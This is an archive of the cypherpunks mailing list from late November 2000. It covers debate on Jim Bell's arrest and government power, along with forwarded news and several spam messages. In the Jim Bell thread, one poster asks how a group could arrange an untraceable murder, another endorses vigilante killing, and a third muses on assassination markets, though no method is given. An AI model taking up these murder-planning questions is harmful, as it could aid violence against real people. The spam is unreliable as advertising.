14:10:08 2000 From: carskar at netsolve.net (Carskadden, Rush) Date: Fri, 24 Nov 2000 16:10:08 -0600 Subject: CDR: RE: Jim Bell arrested documents online (fwd) Message-ID: <10D1CDA5E7B0D41190F800D0B74585641C73BB@cobra.netsolve.net> Amen. And as an additional claim of bullshit, to say that corporations, and in turn the people of the industrial world, are not controlled by government is to completely deny the fact that the federal government is partly designed to, and spends most of it's energy on, regulating commerce. Read this: http://www.libertyhaven.com/regulationandpropertyrights/bankingmoneyorfinanc e/reforminggov.shtml And while you are at it, you may want to check out a few government sites: http://www.fcc.gov (my least fave) http://www.usdoj.gov/ http://www.fbi.gov/ http://www.federalreserve.gov/ http://www.nsa.gov/ http://www.faa.gov/ http://www.fhwa.dot.gov/ http://www.fra.dot.gov/welcome.html http://www.hcfa.gov/ That's just a few (the most egregious offenders in poor regulation), but if you want more, I can send them to you. I'm not saying corporations do not exert control over our everyday lives. My point is, as much as I too like William Gibson, and as much as I was hoping Nader would get his requisite percentage of the popular vote and stir up some trouble, corporations simply do not run things by themselves. The government does far more to control us (and just generally piss in our rice crispies) than corporations. Gauranteed. ok, Rush -----Original Message----- From: Jim Choate [mailto:ravage at einstein.ssz.com] Sent: Friday, November 24, 2000 3:21 PM To: cypherpunks at einstein.ssz.com Subject: Re: Jim Bell arrested documents online (fwd) At 09:58 PM 11/23/00 -0500, Anonymous wrote: >Apparently because businesses do not use guns. > >They are missing the fact that majority of people never encounter/use >guns in their life, and that the principal way of behavioural control >is propaganda/ideology. Most of the people in the industrial world are >directly and tightly controlled by corporations, not governments. Bullshit on all points. If you don't believe businesses don't use guns then you should check around. Hell, my local grocery has an armed guard at the front entrance when it's open (and other times I suspect). Tell this to your local mid-level drug dealer. Most people encounter a gun at least daily within say 50 ft. of their person, thought they may not be aware of it or individualy handle it. Most people, industrial country or not, are controlled by the beliefs they hold and what they believe is acceptable. Corporations and governments are as much a victim of this as the individual is. ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/html Size: 5940 bytes Desc: not available URL: From carskar at netsolve.net Fri Nov 24 14:12:51 2000 From: carskar at netsolve.net (Carskadden, Rush) Date: Fri, 24 Nov 2000 16:12:51 -0600 Subject: CDR: RE: Golden Rice [ /. ] Message-ID: <10D1CDA5E7B0D41190F800D0B74585641C73BC@cobra.netsolve.net> Oh, you mean INTELLECTUAL PROPERTY. Ok then, I'm with ya. ok, Rush -----Original Message----- From: Jim Choate [mailto:ravage at einstein.ssz.com] Sent: Friday, November 24, 2000 3:01 PM To: cypherpunks at einstein.ssz.com Cc: The Club Inferno; austin-cpunks at einstein.ssz.com; sci-tech at einstein.ssz.com Subject: Golden Rice [ /. ] An interesting aspect of IP and meatspace reality over on, http://slashdot.org My view, destroy IP. ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/html Size: 2711 bytes Desc: not available URL: From ravage at ssz.com Fri Nov 24 15:13:17 2000 From: ravage at ssz.com (Jim Choate) Date: Fri, 24 Nov 2000 17:13:17 -0600 (CST) Subject: CDR: Re: Jim Bell arrested, documents online In-Reply-To: Message-ID: On Fri, 24 Nov 2000, petro wrote: > Or from people who feel the government has lost it's moral > authority to be the single arbiter of the use of force. What's interesting is that in this country there isn't supposed to be a single arbiter of anything (e.g. 2nd Amendment, 9th Amendment, & 10th). ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From ravage at ssz.com Fri Nov 24 15:28:01 2000 From: ravage at ssz.com (Jim Choate) Date: Fri, 24 Nov 2000 17:28:01 -0600 (CST) Subject: CDR: RE: Jim Bell arrested documents online (fwd) In-Reply-To: <10D1CDA5E7B0D41190F800D0B74585641C73BB@cobra.netsolve.net> Message-ID: On Fri, 24 Nov 2000, Carskadden, Rush wrote: > And as an additional claim of bullshit, to say that corporations, and in > turn the people of the industrial world, are not controlled by government is > to completely deny the fact that the federal government is partly designed > to, and spends most of it's energy on, regulating commerce. Which was never it's intent outside of interstate and international commerce. There is a reason that there is no mention of commercial representation in the Constitution, in a government of the people, for the people, and by the people there are no businesses. They aren't people. Business exists to empower people to develop governments which allow them to attain their goals and dreams. Neither government or business is an ends in and of itself. > That's just a few (the most egregious offenders in poor regulation), but if > you want more, I can send them to you. I'm not saying corporations do not > exert control over our everyday lives. My point is, as much as I too like > William Gibson, and as much as I was hoping Nader would get his requisite > percentage of the popular vote and stir up some trouble, corporations simply > do not run things by themselves. With respect to Gibson, you should re-read his work then. There is government (e.g. Turing Police). Also, who originaly built the hovercraft or robots at Dog Solitude? The point of Gibson's work is that corporations and government are the primary corruptors of society. > The government does far more to control us (and just generally piss in our > rice crispies) than corporations. Gauranteed. "the government' is a group of people...to rephrase, "The group of people we delegate decision making, problem resolution, and enforcement thereof to does far more to control us (and just generally piss in our rice crispies) than corporations." And this surprises whom? Then again, what are corporations? A group of people who delegate decision making, problem resolution, and enforcement thereof with respect to profit making. It means little, when we get right down to it, so say that one group of people have a larger influence over us than another. The real point is why we delegate that authority in that manner. Of the people, by the people, and for the people after all assumes that there is A people. A coherent population that respects the ideals of the American democratic experiment. Unfortunately, the vast majority of people (including those who enact those ideals) are ignorant [1] of those ideals. ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- [1] I mean this in a larger sense than passively being ignorant or non-cognizant off something. I also mean those people who intentionaly ignore or mis-represent their support thereof as well. The word should be taken in a active sense. From bear at sonic.net Fri Nov 24 20:25:44 2000 From: bear at sonic.net (Ray Dillinger) Date: Fri, 24 Nov 2000 20:25:44 -0800 (PST) Subject: CDR: Re: Jim Bell arrested, documents online In-Reply-To: Message-ID: On Fri, 24 Nov 2000, Jim Choate wrote: > >On Fri, 24 Nov 2000, Ray Dillinger wrote: >> There has never been a human society that did not kill people. > >People kill people you idiot. Don't confuse WHAT and HOW something is done >with the WHY. My point is that people HAVE TO kill people. The presence or absence of a government has no bearing on that fact, only on how it is done, by whom, and how often. There are certain people who, if not removed from society, will terrorize populations and cause huge amounts of economic and other damage. In places where there are laws, they are called "criminals". In populations that can afford to build prisons, and which work together (whether working together is accomplished by government coercion or voluntary cooperation) enough to build prisons and courts, we don't have to kill them as often because there is another method for removing them from society available. >> Even countries that don't execute criminals still >> slaughter enemy soldiers and civilians when they go to war. > >So? Self-defence isn't the same as murder. And war killing isn't the same as self-defence, either. In the absence of laws, killing is just killing. It is law that designates some killings as murders, others as executions, others as self-defense, others as duty. But I really don't care what anybody calls it. I'm just pointing out that some killing is evidently (judging by history) necessary in every culture. >> You can regard killing, of certain types of people anyway, as a >> service industry. > >I believe this is called bigotry. Believe whatever you want. A sorry waste of living tissue made headlines here the other day by being found with a woman's breast in his pocket. On searching, the police officers discovered several corpses in various states of hacked-to-bits-ness, all showing evidence of having been raped violently and tortured before being killed. All of the victims were people whose history did not connect to the killer in any way -- he didn't even know them, and he did this. If I didn't have police, courts, and prisons available, and such an individual came to my attention, I would regard it as my civic duty to personally remove such an individual from the gene pool, and I would not hesitate to chamber the round and pull the trigger. Moreover, I would regard anyone who didn't feel the same way as a coward to be shunned. So, I'm bigoted for feeling this way? Fine. You use your words, I'll use mine. It is an act of cowardice, and destructive to society at large, to permit such individuals to live. Right now, we use governments to regulate that kind of force -- it's a protocol, to see that it is applied consistently and with due process, rather than at whim and as a result of poor judgement. And, despite a few spectacular failures, it works most of the time. I participate in the Government protocol because I like for there to be some accountability regarding killings and other uses of force. But in the absence of the opportunity to use government in this way, I would have to carry out killings and other uses of force myself. And so would a lot of other people, including some whose judgement does not agree with mine or yours nor with what we now get through government. >AP, and anarchy in general, is the scream of the failed. Those who have >given up and agreed to be subsumed by their basest nature. AP is a proposed replacement for the "government protocol" -- Its proponents claim that we can cut down on killing in general by trading war, genocide, etc for a relatively smaller number of paid assassinations. This is interesting, of course, but there is no evidence for the claim. I believe that it would have the very bad side effect of making it impossible for anyone to amass substantial capital, simply because having substantial capital means you or your property or employees interacts with, and pisses off, more people. So anybody who was rich enough to get much of anything done would become a target. Then you'd never get bridges or skyscrapers or large-scale data switch centers built. That makes AP a colossally bad idea, regardless of whether it would result in more or less killing. Bear From gbnewby at ils.unc.edu Fri Nov 24 18:47:47 2000 From: gbnewby at ils.unc.edu (Greg Newby) Date: Fri, 24 Nov 2000 21:47:47 -0500 Subject: CDR: Re: Jim Bell arrested, documents online In-Reply-To: ; from ravage@ssz.com on Fri, Nov 24, 2000 at 02:09:33PM -0600 References: <200011241918.OAA29263@tisch.mail.mindspring.net> Message-ID: <20001124214747.B7673@ils.unc.edu> On Fri, Nov 24, 2000 at 02:09:33PM -0600, Jim Choate wrote: > > On Fri, 24 Nov 2000, John Young wrote: > > > Bear surmised: > > > > >The "Needs Killing" verbiage you see here, I think, is mostly from > > >people who, correctly or not, tend to think in terms either of there > > >not being any governments, or in terms of the government being so > > >ineffective that they are effectively in an ungoverned state. > > > > Hold on. "Needs killing" is an epithet, like "fuck your mother" > > or in earlier theocratic days, "go to hell." It's a residue of a time > > when killing somebody who profaned your beliefs was done. > > Perhaps for you, for others it is a serious expression of their goals. You > seriously (intentionlay?) mis-represent the situation with this view. "de puta madre!" But seriously, folks: How would you work with a like-minded distributed group to murder someone? Preferably with guaranteed no risk of discovery or prosecution to the participants. - Would we need to assume the someone would be the "hands," e.g., your good ole' professional hit-man? How would s/he be contacted? - How would the person be paid? How would the money be collected from the different people who pay? - What trust model would work? Would it be more desirable for all players to be completely anonymous? Cells of people who know each other? - Could this all be done legally (without the individuals who are planning and paying needing to commit any crimes)? Contrary to the Orient Express, Peter Sellers and other scenarios, this sounds like a serious applied problem in crypto-anarchy. I am not able to come up with a solution that doesn't have serious risks for the participants, but would love to hear one. -- Greg From dobrowol at box43.pl Fri Nov 24 14:30:46 2000 From: dobrowol at box43.pl (Michal Dobrowolski) Date: Fri, 24 Nov 2000 23:30:46 +0100 Subject: CDR: Hello Message-ID: <004801c05666$33684be0$4b644cd5@ppp> My dear I am interested in Blum-Blum-Shub and Micali-Schnorr random bits generators. ( just for educational propose ) I wonder if You have got ready working, implemented in C programs( or just anything about this topic). If yes, could You please send me by e-mail, it would be really helpful for me. Sorry for disturbing :) Best regards !!! Michal Dobrowolski -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/html Size: 745 bytes Desc: not available URL: From PriusMods-owner at egroups.com Fri Nov 24 23:33:19 2000 From: PriusMods-owner at egroups.com (PriusMods Moderator) Date: 25 Nov 2000 07:33:19 -0000 Subject: CDR: Welcome to PriusMods Message-ID: <975137599.52847@egroups.com> Hello, Welcome to the PriusMods group at eGroups, a free, easy-to-use email group service. Please take a moment to review this message. To start sending messages to members of this group, simply send email to PriusMods at egroups.com If you do not wish to belong to PriusMods, you may unsubscribe by sending an email to PriusMods-unsubscribe at egroups.com You may also visit the eGroups web site to modify your subscriptions: http://www.egroups.com/mygroups Regards, Moderator, PriusMods From Lynn.Wheeler at firstdata.com Sat Nov 25 07:54:35 2000 From: Lynn.Wheeler at firstdata.com (Lynn.Wheeler at firstdata.com) Date: Sat, 25 Nov 2000 07:54:35 -0800 Subject: Public Key Infrastructure: An Artifact... Message-ID: <852569A2.00530B41.00@lnsunr02.fl.firstdata.com> A non-text attachment was scrubbed... Name: not available Type: application/pgp Size: 1402 bytes Desc: not available URL: From bill.stewart at pobox.com Sat Nov 25 08:59:04 2000 From: bill.stewart at pobox.com (Bill Stewart) Date: Sat, 25 Nov 2000 08:59:04 -0800 Subject: CDR: Re: Jim Bell arrested, documents online In-Reply-To: References: <3A1E49EC.31D1C493@ricardo.de> Message-ID: <3.0.5.32.20001125085904.01a68340@idiom.com> At 10:14 AM 11/24/00 -0800, Ray Dillinger wrote: > > >On Fri, 24 Nov 2000, Tom Vogt wrote: > > >>would most likely cast a couple new protection laws. say, make it >>illegal to publish a politician's name. "our president has today..." > > >Well, I guess that's *one* way to get political types to support >the right to anonymity... Nah - too hard to give them credit when they want it, so they'd do pseudonyms. "Big Brother announced today that..." Thanks! Bill Bill Stewart, bill.stewart at pobox.com PGP Fingerprint D454 E202 CBC8 40BF 3C85 B884 0ABE 4639 From nobody at dizum.com Sat Nov 25 08:40:30 2000 From: nobody at dizum.com (Nomen Nescio) Date: Sat, 25 Nov 2000 11:40:30 -0500 Subject: CDR: Paying for privacy Message-ID: Market could be huge, but consumers are a tough sell BY DEBORAH LOHSE Mercury News Dozens of new companies are betting that someday soon, Internet surfers will behave like James Bond in cyberspace. They dream of consumers, rabidly protective of their online privacy, who use technology to obscure their online tracks from the prying eyes of corporations and marketers. When that day comes, companies like Privada Inc., Zero-Knowledge Systems, iPrivacy and Anonymizer.com. plan to be in the money. Each makes technology for Bond-like obscurity on the Web. Good luck trying, say privacy experts, analysts and investors. While the market could indeed be as big as the $50 billion predicted by industry leader Zero-Knowledge Systems, already a handful of companies have gone under or changed their business models after trying in vain to get consumers to pay for privacy. The hurdles are many. Consumers profess great concern over privacy but have only nebulous understanding of the risks and little inclination to change their online behavior. Giants like Symantec, Microsoft and Netscape are incorporating privacy elements into their products, including ``cookie managers'' coming in the next versions of browsers. And companies need a lot of capital to keep up with rapidly changing technology. That means a lot of the companies vying for a piece of the privacy pie now won't survive what some see as an inevitable industry shakeout. ``There's an awful lot of start-ups that have a privacy theme. Many of them aren't going to make it,'' predicted Beth Givens, project director at the Privacy Rights Clearinghouse in San Diego. There's no shortage of privacy technologies. Some promise to let users surf without leaving computer-identifying ``cookies'' or revealing their Internet addresses. Others allow surfers pseudonyms that are destroyed when they leave the site. Some block all Net-based advertisements -- which track whether users respond to them -- or offer encrypted addresses, decodable by the Postal Service, for purchases. And some dirty the data that marketers collect by aggregating users' profiles with others in a large group. But the biggest hurdle to success may be consumer complacency. While every privacy company can cite statistics on consumer privacy worries, by and large consumers are also awfully enamored of the personal attention -- a la Amazon book recommendations -- that giving away their information can get them. ``We're Americans. We'll give up anything for 50 frequent flier miles,'' said Jonathan Gaw, an analyst with technology research firm IDC. When IDC asked consumers what would entice them to disclose certain information they professed to want kept secret, the number-one answer was a $100 gift certificate. ``The number two answer was a $50 gift certificate,'' he said. That bodes poorly for many companies, especially those that expect consumers to take extra steps like downloading privacy software, registering or paying for the service, or making a stop at a privacy site. Instead, consumers are going to demand that their basic Net tools, like browsers, automatically make selective anonymity an option. And consumers may not even demand that until they see a few more headlines about video players tracking what they watch or computer chips identifying them by name. ``When we see a few divorce cases or child-custody cases where lawyers are able to subpoena these files,'' said Givens, then ``people will wake up and see the danger of these large profiles.'' Most privacy-technology companies are privately held, so it's tough to see who's in the black and who's bleeding money right now. But some experts said the ones with most promise are those like Zero-Knowledge Systems or Privada, which sell their technology not just to consumers but also to businesses that want to provide privacy technology as a service to customers. Privada's technology offers consumers greater control over how much information they give to sites. The Sunnyvale-based company recently inked a deal with American Express. An Amex spokeswoman wouldn't disclose terms of the deal, but said it will start offering protected browsing to cardholders ``soon.'' Privada used to sell directly to consumers on a test basis, but no longer does, because that ``doesn't get the privacy services where they belong, at the on-ramp to the Internet,'' said Barbara Bellissimo, a founder and vice president of Privada. Bellissimo likens privacy technology -- which she said will one day be a standard feature of all browsers and Internet service providers -- to car air bags. When air bags first came out, ``they were optional and people paid more to have them,'' she said. But they eventually they became required features whose costs were bundled into the cost of the car. Ultimately consumers will likewise demand the ability to easily surf unrecognized, send untraceable e-mail, and even arrange a package shipment without the marketer getting their name and address. The privacy game already has some casualties. A defunct company called Enonymous.com tried to build a business by rating web sites' privacy policies and storing consumers' personal data to judiciously share it with trusted partners. The company failed to attract enough consumers and business partners, noted Jason Catlett, president of privacy watchdog Junkbusters. Persona Inc. likewise tried to help consumers leverage their personal data by getting discounts or freebies, but didn't garner enough participants. Persona now teaches companies how to request permission to use personal data and sells technology to use it. Consumers may be wary of such ``infomediaries'' because there's no guarantee that a company supposedly keeping their personal profile under wraps is trustworthy or won't be bought out by another company with different designs. Firefly, which offered a centralized ``wallet'' for personal information to be released upon instruction by the consumer, was bought by Microsoft in 1998. ``People that trusted Firefly said, `Darn, here we thought we were giving our information to Firefly, now we've given our information to Microsoft,'J'' said Gaw. He said it gave many consumers pause for thought, ``even if we don't' think Microsoft is the evil empire.'' Contact Deborah Lohse at dlohse at sjmercury.com or (408) 271-3672 From ravage at EINSTEIN.ssz.com Sat Nov 25 10:18:13 2000 From: ravage at EINSTEIN.ssz.com (Jim Choate) Date: Sat, 25 Nov 2000 12:18:13 -0600 Subject: CDR: Cypherpunk Rants Message-ID: <3A200265.AE06BEFF@ssz.com> http://www.CSUA.Berkeley.EDU/cypherpunks/rants/ -- ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/html Size: 1058 bytes Desc: not available URL: From ravage at EINSTEIN.ssz.com Sat Nov 25 10:36:15 2000 From: ravage at EINSTEIN.ssz.com (Jim Choate) Date: Sat, 25 Nov 2000 12:36:15 -0600 (CST) Subject: CDR: update.513 (fwd) Message-ID: ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- ---------- Forwarded message ---------- Date: Wed, 22 Nov 2000 14:19:13 -0500 (EST) From: AIP listserver To: physnews-mailing at aip.org Subject: update.513 PHYSICS NEWS UPDATE The American Institute of Physics Bulletin of Physics News Number 513 November 22, 2000 by Phillip F. Schewe and Ben Stein THE INTERNET IS SURPRISINGLY ROBUST, and it remains connected on a global scale even if a randomly chosen 99% of its connection points break down. However, it is relatively fragile if its most highly connected points are selectively knocked out. These are the conclusions of researchers applying physics principles and precise mathematical models to the study of the worldwide computer network. The Internet consists of computer networks (most commonly, "local area networks") connected by various devices, known as routers and hubs. For simplicity's sake, researchers consider each connection point as a generic "node." Previous work suggests the fraction of Internet nodes having k connections is proportional to k^-a, for some number a. This is a "scale-free power law distribution," which occurs commonly in nature and appears in the frequency of earthquakes and the size distributions of clouds and mountains. Unlike an exponential distribution, a scale-free power law distribution decays very slowly, meaning in this case that there is a large proportion of computers that still have a significant amount of connections. Recent computer simulations of scale-free networks have shown that the Internet is resilient for this reason (Albert et al., Nature, 27 July; Albert-Laszlo Barabasi, Notre Dame, 219-631-5767, alb at nd.edu; see also The Industrial Physicist, December 2000). The latest work now puts this conclusion on a firm mathematical footing. Two independent groups (Reuven Cohen, Bar Ilan University, Israel, 011-972-8-9370131, cohenr at shosji.ph.biu.ac.il; Duncan Callaway, Cornell, 607-255-9174; dc52 at cornell.edu) apply percolation theory, developed by geophysicists interested in estimating how much oil they could extract from reservoirs in a porous medium. Percolation theory deals with systems containing points ("sites") and connections between them, and it analyzes the behavior of the system when one removes some of the sites or connections. Combined with the insights from the scale-free distribution, the powerful percolation-based approach may help Internet architects to maximize resistance against Internet attacks, by controlling the distribution of nodes having certain numbers of connections. (Cohen et al, Phys. Rev. Lett, 20 Nov (Select Articles); Callaway et al., Phys. Rev. Lett., upcoming.) COSMIC RAYS AND CLOUD COVER. Galactic cosmic rays (GCRs) play an important role in controlling global cloud cover on Earth, according to recent studies by researchers at the Danish Space Research Institute in Copenhagen (Nigel D. Marsh, 011-45- 35325740). GCRs, consisting principally of energetic protons emitted from stars within our galaxy, are a primary source of the atmospheric ionization which affects cloud formation. Because cloud cover has an impact on both the reflection of solar radiation and the retention of heat in the atmosphere, correlation between GCRs and low level clouds suggests a link between global climate changes and cosmic ray flux (see figure at http://www.aip.org/physnews/graphics). The discovery reveals a convoluted connection between solar variability and climate change. Fluctuations in the sun's radiative output are generally dismissed as too small to account directly for global warming and other climate variations. Periods of intense solar activity, however, lead to powerful solar winds which shield the atmosphere from cloud-forming GCRs, potentially modulating the global climate. (N. D. Marsh; H. Svensmark, Physical Review Letters, 4 December.) Researchers at the University of Leeds (UK), on the other hand, have observed a direct and rapid connection between atmospheric chemistry and ultraviolet light from the sun (Dwayne E. Heard, 44-113-233-6471, dwayneh at chem.leeds.ac.uk). During the 97% eclipse of the sun over Ascot, England, local ozone concentrations fell to 60% of typical daytime levels, and quickly returned to normal after the event. The study demonstrates the dynamic connection between sunlight and the photochemistry of atmospheric gasses which may contribute to global warming, smog formation, and acid rain. (J. P. Abram; et al, Geophysical Research Letters, 1 November.) PHYSICS NEWS UPDATE: subscribe or unsubscribe by sending a message to listserv at aip.org and specify either "add physnews" or "delete physnews". Our website is at http://www.aip.org/physnews/update. From gbroiles at netbox.com Sat Nov 25 14:22:10 2000 From: gbroiles at netbox.com (Greg Broiles) Date: Sat, 25 Nov 2000 14:22:10 -0800 Subject: CDR: Re: Jim Bell arrested, documents online In-Reply-To: <20001124214747.B7673@ils.unc.edu>; from gbnewby@ils.unc.edu on Fri, Nov 24, 2000 at 09:47:47PM -0500 References: <200011241918.OAA29263@tisch.mail.mindspring.net> <20001124214747.B7673@ils.unc.edu> Message-ID: <20001125142209.B6013@ideath.parrhesia.com> On Fri, Nov 24, 2000 at 09:47:47PM -0500, Greg Newby wrote: > But seriously, folks: How would you work with a like-minded > distributed group to murder someone? Preferably with guaranteed > no risk of discovery or prosecution to the participants. [...] > - Could this all be done legally (without the individuals who > are planning and paying needing to commit any crimes)? No. The state jealously guards its monopoly on legal murder. If you want to "tinker with the machinery of death", to borrow from Justice Blackmun, you must get a job with the government. -- Greg Broiles gbroiles at netbox.com PO Box 897 Oakland CA 94604 From ashlaws at mail.com Sat Nov 25 14:44:21 2000 From: ashlaws at mail.com (ashlaws at mail.com) Date: Sat, 25 Nov 2000 14:44:21 -0800 (PST) Subject: CDR: Hi cypherpunks We Do All The Advertising For You! Message-ID: <200011252244.OAA00478@toad.com> LOOK! CO-OP ADVERTISING SYSTEM. Greatest Money Maker Ever This is HOT! We Do All The Advertising For You, No Recruiting Required. Pay only One Time.YOU MUST SEE THIS! For More Information;Reply To This Message With [MORE INFO] As The Subject. ashlaws at mail.com From honig at sprynet.com Sat Nov 25 13:05:05 2000 From: honig at sprynet.com (David Honig) Date: Sat, 25 Nov 2000 16:05:05 -0500 Subject: CDR: Re: Jim Bell arrested, documents online In-Reply-To: <20001124111028.A9581@ils.unc.edu> References: <3A1E49EC.31D1C493@ricardo.de> Message-ID: <3.0.6.32.20001125124315.00804820@pop.sprynet.com> At 11:11 AM 11/24/00 -0500, Greg Newby wrote: > >Do people on this list really believe that the solution to >problems is to kill people? What we believe is not important. From honig at sprynet.com Sat Nov 25 13:05:14 2000 From: honig at sprynet.com (David Honig) Date: Sat, 25 Nov 2000 16:05:14 -0500 Subject: CDR: Re: Jim Bell arrested, documents online In-Reply-To: <20001124214747.B7673@ils.unc.edu> References: Message-ID: <3.0.6.32.20001125125443.00804d10@pop.sprynet.com> At 09:48 PM 11/24/00 -0500, Greg Newby wrote: > >But seriously, folks: How would you work with a like-minded >distributed group to murder someone? Preferably with guaranteed >no risk of discovery or prosecution to the participants. RTFM From pjcjr at us.ibm.com Sat Nov 25 14:00:51 2000 From: pjcjr at us.ibm.com (Peter Capelli) Date: Sat, 25 Nov 2000 17:00:51 -0500 Subject: CDR: Re: Jim Bell arrested, documents online Message-ID: Well, I suppose you could always go to work for the NYPD ... -p "Those who would give up essential liberty for temporary safety deserve neither liberty nor safety" - Benjamin Franklin, 1759 David Honig @cyberpass.net on 11/25/2000 04:05:14 PM Please respond to David Honig Sent by: owner-cypherpunks at cyberpass.net From sunder at anon7.sunder.net Sat Nov 25 17:39:51 2000 From: sunder at anon7.sunder.net (Sunder) Date: Sat, 25 Nov 2000 20:39:51 -0500 (est) Subject: CDR: greencard In-Reply-To: <01e101c05527$22e9b140$5832ff3f@flashnet> Message-ID: Yes, at the windows command prompt, or notepad, or other text field, type in the letters U, S, and A, and then hit your ENTER key, which is located on the right hand side of the main part of the keyboard - before the page up/down set. On older keyboards, the enter key may be labeled RETURN. On some keyboards, it may only have a symbolic arrow. On a standard QWERTY keyboard, the letter U is on the top letter row as the 7th key, the letter S on the middle row of keys as the 2nd key, and the letter A is to the left of S. It is of course also possible to enter other key combinations without a green card, blue card, or even a red card. All you have to do is type. Of most interest to you should be the Control-Alt and Del keys, which you should often hold down together at the same time. ----------------------Kaos-Keraunos-Kybernetos--------------------------- + ^ + :Surveillance cameras|Passwords are like underwear. You don't /|\ \|/ :aren't security. A |share them, you don't hang them on your/\|/\ <--*-->:camera won't stop a |monitor, or under your keyboard, you \/|\/ /|\ :masked killer, but |don't email them, or put them on a web \|/ + v + :will violate privacy|site, and you must change them very often. --------_sunder_ at _sunder_._net_------- http://www.sunder.net ------------ On Thu, 23 Nov 2000, mardee wrote: > Is it possible to enter USA without a greencard?? > > Greetings, > Marjan > > From ravage at ssz.com Sat Nov 25 19:44:26 2000 From: ravage at ssz.com (Jim Choate) Date: Sat, 25 Nov 2000 21:44:26 -0600 (CST) Subject: CDR: Re: Jim Bell arrested, documents online In-Reply-To: <3.0.6.32.20001125124315.00804820@pop.sprynet.com> Message-ID: On Sat, 25 Nov 2000, David Honig wrote: > At 11:11 AM 11/24/00 -0500, Greg Newby wrote: > > > >Do people on this list really believe that the solution to > >problems is to kill people? > > What we believe is not important. "Baaah" by any other name smells as cowardly. ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From ravage at ssz.com Sat Nov 25 20:08:40 2000 From: ravage at ssz.com (Jim Choate) Date: Sat, 25 Nov 2000 22:08:40 -0600 Subject: CDR: Kant vs. Locke on the Right to Rebel Message-ID: <3A208CC8.584165CA@ssz.com> http://www.yale.edu/ypq/articles/dec99/dec99b.html -- ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- -------------- next part -------------- A non-text attachment was scrubbed... Name: dec99b.html Type: text/html Size: 23466 bytes Desc: not available URL: From njohnson at interl.net Sat Nov 25 21:08:35 2000 From: njohnson at interl.net (Neil Johnson) Date: Sat, 25 Nov 2000 23:08:35 -0600 Subject: CDR: Re: Jim Bell arrested, documents online References: Message-ID: <006c01c05766$ee9692e0$0100a8c0@nandts> Some observations: What would keep a Gov't from using AP to accomplish their own objectives ? They obviously would have the resources to. They might even find it a much more efficient way to silence vocal critics with plenty of "plausible denialbility". To be fair (and I'll guess that it has been covered before) you would really want to have a "futures ;) " market where supporters could sell contracts that paid off if the target lived to a certain age, past certain date, or for a specific period of time. This would be in addition to contracts sold by detractors that would pay off if the target didn't. Maybe even a anonymous pool that gets paid to the entity accurately predicting the date of a FOILED attempt on the target. I can see it now: Mr. May: Enclosed please find the keys to your new armoured vehicle. No Charge. Signed: A concerned investor. (P.S. It really IS armoured. It just "looks" like a '76 Ford Pinto. :) ) -NJ From adityaokhal at mantraonline.com Sat Nov 25 11:14:32 2000 From: adityaokhal at mantraonline.com (adityaokhal) Date: Sun, 26 Nov 2000 00:44:32 +0530 Subject: CDR: Re: Secrets about Girls ;-) References: <200011260958.RAA20551@www1.> Message-ID: <001c01c05713$f3f9bf80$8ce338ca@europa> remove From denisem at insoft.softex.br Sat Nov 25 22:52:34 2000 From: denisem at insoft.softex.br (denisem at insoft.softex.br) Date: Sun, 26 Nov 2000 01:52:34 -0500 Subject: CDR: Fast Cash!...Quick Approvals for dept consolidation! 5805 Message-ID: <00004d91786e$00006806$000016ad@from houifecj.cc.com.ar([256.44.30.4]) by irs5s2.daidacentotere.chua.caimetv.net.ie (8.9.1a/8.9.1/1.0) with SMTP id NAA11975 ([256.005.36.4])> A non-text attachment was scrubbed... Name: not available Type: text/html Size: 16029 bytes Desc: not available URL: From mix at mix2.hyperreal.pl Sat Nov 25 17:42:23 2000 From: mix at mix2.hyperreal.pl (Anonymous) Date: Sun, 26 Nov 2000 02:42:23 +0100 (CET) Subject: CDR: Actual sheeple photos Message-ID: The meme lives ... http:// www dot telebooks dot com slash rp slash jh50sq dot html From andromeda125 at excite.com Sun Nov 26 04:36:11 2000 From: andromeda125 at excite.com (andromeda125 at excite.com) Date: Sun, 26 Nov 2000 04:36:11 Subject: CDR: Anti-Cancer Product to Hit Market Message-ID: <483.408048.774006@excite.com> Nov 17, 2000 * * * * * * * * * * * * * * Investors Spotlight by Looknofurther * * * * * * * * * * * * Bioenvision.co.uk (BIOV.OB) BIOENVISION READIES LEAD PRODUCT LAUNCH Reports Substantive Progress On Four Platform Technologies BIOENVISION INC. - OTCBB Symbol: BIOV.OB In a recent press release President & CEO Chris Wood commented, 